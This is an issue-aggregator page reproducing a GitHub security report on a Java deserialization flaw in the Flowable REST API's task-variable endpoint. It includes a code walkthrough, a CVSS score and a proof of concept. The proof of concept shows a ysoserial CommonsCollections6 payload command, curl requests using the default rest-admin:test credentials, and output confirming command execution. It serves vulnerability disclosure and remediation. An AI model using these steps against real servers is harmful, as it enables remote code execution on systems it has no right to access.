Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

[SECURITY] Deserialization RCE via PUT /runtime/tasks/{taskId}/variables/{variableName} with type=serializable (CWE-502, CVSS 8.1)

Abierto
#4,293 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
5/5
Tiempo estimado
Más de una semana
Aptitud para principiantes
30/100
Tipo de issue
Error
Claridad
Necesita aclaración
Estado de actividad
Activo
Stack tecnológico
java
Área
api, backend, security

Línea de trabajo

Start with TaskVariableResource.updateVariable and TaskVariableBaseResource.setBinaryVariable, especially the multipart serializable path around ObjectInputStream.readObject() and the rest.variables.allow.serializable default. Trace the endpoint and configuration behavior, then establish a safe, tested handling path for uploaded serialized data; done means attacker-controlled input is not deserialized unsafely in the default deployment.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Security Vulnerability Report -- CWE-502

Summary

The Flowable REST API's PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when handling multipart/form-data requests with the type parameter set to 'serializable', directly uses ObjectInputStream.readObject() to perform Java native deserialization on uploaded files without any class whitelist/blacklist filtering. This feature is enabled by default (rest.variables.allow.serializable=true), allowing an authenticated attacker to achieve remote code execution (RCE) by crafting a malicious serialized object (CommonsCollections6 gadget chain).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST API's TaskVariableResource.updateVariable endpoint (PUT /runtime/tasks/{taskId}/variables/{variableName}) supports uploading task variables via multipart/form-data. When the request's type parameter is serializable, the system directly uses java.io.ObjectInputStream.readObject() to perform Java native deserialization on the uploaded file stream, without any class whitelist, ObjectInputFilter, or security filtering mechanism. Since the rest.variables.allow.serializable configuration property defaults to true, this vulnerability is triggerable in default deployments. An authenticated attacker can upload a serialized object containing a malicious gadget chain (e.g., CommonsCollections6, as commons-collections-3.2.2.jar is present in the server classpath) to achieve arbitrary code execution (RCE) on the server.

Exploitation Prerequisites
Condition Description
Authentication Requires valid Basic Auth credentials for the Flowable REST API (@Authorization(value = "basicAuth")). Flowable's default installation creates demo users (rest-admin/test), and many production environments retain default credentials.
Network Accessibility REST API port reachable (internal or external network). Attacker only needs access to the Flowable REST API.
Configuration Dependency Exploitable with default configuration: rest.variables.allow.serializable defaults to true (see TaskVariableBaseResource.afterPropertiesSet()), no additional configuration required.
Business Prerequisites At least one Task must exist in the target Flowable instance, and a variable must exist on that Task for the PUT update. This can be produced through normal operation of the process engine.
Classpath Dependency An exploitable deserialization gadget chain must exist in the server classpath. Flowable 7.1.0 WAR deployment includes commons-collections-3.2.2.jar, making the CommonsCollections6 gadget chain directly exploitable.
Trigger Location

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/task/TaskVariableBaseResource.java:184-185

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← Unsafe deserialization, no filtering
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
Data Flow Overview
PUT /runtime/tasks/{taskId}/variables/{variableName}
  Content-Type: multipart/form-data
  Parameters: name=<variable_name>, type=serializable, file=<malicious serialized object>
    ↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94-130)
  request instanceof MultipartHttpServletRequest → true
    ↓
setBinaryVariable((MultipartHttpServletRequest) request, task, false)  (TaskVariableBaseResource.java:123)
  Parses form parameters: name, type, scope
  variableType = "serializable"
    ↓
isSerializableVariableAllowed == true (default)
    ↓
new ObjectInputStream(file.getInputStream()).readObject()  (TaskVariableBaseResource.java:184-185)
  → Deserializes attacker-controlled byte stream → RCE
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data → Unsafe Deserialization

Layer 1: HTTP Entry (TaskVariableResource.java:94-130)

@PutMapping(value = "/runtime/tasks/{taskId}/variables/{variableName}",
    produces = "application/json",
    consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(
    @PathVariable("taskId") String taskId,
    @PathVariable("variableName") String variableName,
    @RequestParam(value = "scope", required = false) String scope,
    HttpServletRequest request) {

    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    // ...
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
    }
  • External input: HttpServletRequest (including multipart file and form parameters), taskId (path parameter)
  • Operation: After verifying taskId exists, checks whether the request is MultipartHttpServletRequest. If so, directly calls setBinaryVariable
  • Data transfer: The entire multipart request (including file stream and form parameters) is passed to setBinaryVariable

Layer 2: Parameter Parsing and File Extraction (TaskVariableBaseResource.java:123-156)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Task task, boolean isNew) {
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    // ...
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if ("type".equalsIgnoreCase(parameterName)) {
            variableType = paramMap.get(parameterName)[0];  // ← Attacker controls type
        }
    }
  • External input: MultipartHttpServletRequest (including form parameters name, type, scope and uploaded file)
  • Operation: Extracts type (attacker sets to "serializable"), name, scope from form parameters; extracts the first file from multipart
  • Data transfer: variableType = "serializable", file (malicious serialized byte stream) continues downward

Layer 3: Type Check Branch (TaskVariableBaseResource.java:164-191)

if (variableType != null) {
    if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
        && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
        throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
    }
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
    byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
    setVariable(task, variableName, variableBytes, scope, isNew);
} else if (isSerializableVariableAllowed) {     // ← Default true
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();           // ← SINK: Unsafe deserialization
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
  • External input: variableType (attacker controls to "serializable"), file (attacker-controlled byte stream)
  • Operation: When variableType equals "serializable", enters the deserialization branch. isSerializableVariableAllowed defaults to true (initialized by env.getProperty("rest.variables.allow.serializable", Boolean.class, true)), condition is satisfied. Then directly calls new ObjectInputStream(file.getInputStream()).readObject()
  • Security checks: No filtering whatsoever. No ObjectInputFilter, no class whitelist/blacklist, no custom SecureObjectInputStream. The attacker-provided byte stream is fully trusted
  • Sink: ObjectInputStream.readObject() automatically calls the malicious object's readObject() method during deserialization, triggering the gadget chain to execute arbitrary code
Configuration Default Value Confirmation (TaskVariableBaseResource.java:51-54)
@Override
public void afterPropertiesSet() {
    isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}
  • Default value is true: Unless the deployer explicitly sets rest.variables.allow.serializable=false, the deserialization feature is enabled by default
CVSS Breakdown

CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
AV (Attack Vector) Network (N) Triggered via network HTTP request, no local access required
AC (Attack Complexity) Low (L) Attacker only needs to send a multipart HTTP request using a known gadget chain in the classpath
PR (Privileges Required) Low (L) Requires Basic Auth, but Flowable default deployment includes default credentials (rest-admin/test). Any authenticated user can trigger
UI (User Interaction) None (N) No user interaction required, attacker initiates the request
S (Scope) Unchanged (U) Vulnerability impact is limited to the Flowable server process itself
C (Confidentiality) High (H) RCE can read any server files, database credentials, process data
I (Integrity) High (H) RCE can tamper with process definitions, business data, inject malicious workflows
A (Availability) High (H) RCE can stop services, delete data, encrypt filesystem

PoC Verification Report

Flowable REST TaskVariable PUT Endpoint Java Native Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable REST API TaskVariableResource.updateVariable Unsafe Deserialization RCE
  2. Affected Component/Port: Flowable REST API (default port 8080) / PUT /runtime/tasks/{taskId}/variables/{variableName}
  3. Vulnerability Brief: The PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when receiving multipart/form-data requests with type=serializable, directly uses ObjectInputStream.readObject() to deserialize the uploaded file content without any class filtering mechanism. In default configuration (rest.variables.allow.serializable=true), an authenticated attacker can achieve RCE via the CommonsCollections6 gadget chain.
  4. Root Cause Code Snippet:
// TaskVariableBaseResource.java:182-187
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← Unsafe deserialization, no filtering
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
  1. Brief Data Flow:
PUT /runtime/tasks/{taskId}/variables/{variableName}
  Content-Type: multipart/form-data
  Parameters: name=testvar, type=serializable, file=<CC6 serialized payload>
    ↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94)
  request instanceof MultipartHttpServletRequest → true
    ↓
setBinaryVariable (TaskVariableBaseResource.java:123)
  Extracts type="serializable", file=<attacker byte stream>
    ↓
isSerializableVariableAllowed == true (default)
    ↓
ObjectInputStream.readObject() (TaskVariableBaseResource.java:185)
  → Deserialization triggers CommonsCollections6 gadget chain → Runtime.exec() → RCE

Exploitation Conditions

Condition Description
Authentication Requires Basic Auth (rest-admin:test are default credentials)
Network Accessibility Internal/external network (REST API HTTP port reachable)
Configuration Dependency Exploitable with default configuration (rest.variables.allow.serializable defaults to true)
Business Prerequisites At least one Task must exist in the target instance, and a variable must already exist on the Task (PUT is an update operation)
Classpath Dependency Server includes commons-collections-3.2.2.jar (Flowable 7.1.0 WAR includes by default)

Exploitation Chain Progress

Successful Exploitation Example:

Chain Stage Location (file:line) Status Evidence / Notes
Entry TaskVariableResource.java:94 ✅ Connected PUT multipart request received by MultipartHttpServletRequest branch
Parameter Parsing TaskVariableBaseResource.java:152 ✅ Connected type="serializable" extracted, variableType set to "serializable"
Type Check TaskVariableBaseResource.java:182 ✅ Connected isSerializableVariableAllowed defaults to true, enters deserialization branch
Sink TaskVariableBaseResource.java:185 ✅ Triggered ObjectInputStream.readObject() deserialized CC6 payload, triggered touch /tmp/pwned_entry_0662 command execution
Conclusion — ✅ Full Chain Closed RCE successful: server created file /tmp/pwned_entry_0662

Exploitation Verification

Step 1: Generate CommonsCollections6 Deserialization Payload

Use ysoserial to generate a serialized payload executing touch /tmp/pwned_entry_0662:

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.io=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned_entry_0662" \
     > payload_cc6.bin
Step 2: Create an Initial Variable on the Target Task (PUT Update Requires Variable to Exist)
curl -s -u rest-admin:test \
  -X POST "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables" \
  -H "Content-Type: application/json" \
  -d '[{"name":"testvar","type":"string","value":"dummy"}]'

Returns:

[
    {
        "name": "testvar",
        "type": "string",
        "value": "dummy",
        "scope": "local"
    }
]
Step 3: Send Deserialization Payload to Trigger RCE
curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar" \
  -F "name=testvar" \
  -F "type=serializable" \
  -F "file=@payload_cc6.bin" \
  -w "\nHTTP_CODE: %{http_code}\n"

Actual execution result: HTTP 200 OK, server returns variable updated to serializable type:

{"name":"testvar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar/data","scope":"local"}

HTTP_CODE: 200

Verify RCE command execution success:

ls -la /tmp/pwned_entry_0662

Output:

-rw-r----- 1 root root 0 Aug  4 12:28 /tmp/pwned_entry_0662
Step 4: Second Verification (Different Task, Confirming Consistency)

Using a different Task ID and a different command touch /tmp/pwned_entry_0662_h2 for repeated verification:

curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0383aec9-8fff-11f1-a444-02423661ba3a/variables/testvar2" \
  -F "name=testvar2" \
  -F "type=serializable" \
  -F "file=@payload_cc6_h2.bin" \
  -w "\nHTTP_CODE: %{http_code}\n"

Verification:

ls -la /tmp/pwned_entry_0662_h2

Output:

-rw-r----- 1 root root 0 Aug  4 12:30 /tmp/pwned_entry_0662_h2

Conclusion: Two independent tests both successfully triggered RCE. The attacker only needs a valid Basic Auth credential (default rest-admin:test suffices) and a single HTTP PUT request to execute arbitrary system commands on the Flowable REST server with Tomcat process privileges (root). The root cause is ObjectInputStream.readObject() at lines 184-185 of TaskVariableBaseResource.java directly deserializing the attacker-uploaded file content without any class filtering mechanism, and this is enabled by default configuration.

Severity

CVSS v3.1: 8.1 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Lenguaje dominante
Java
Estrellas
9.6k
Forks
2.9k
Merge medio
1 h 9 min
PR fusionados (30 d)
2

Preparar el entorno

  • Sin Dockerfile ni archivo de Docker Compose
  • Tiene una plantilla de pull request
  • Sin guía de contribución

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de flowable/flowable-engine

Todos los issues de flowable/flowable-engine

Issues similares

Más issues de Java

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.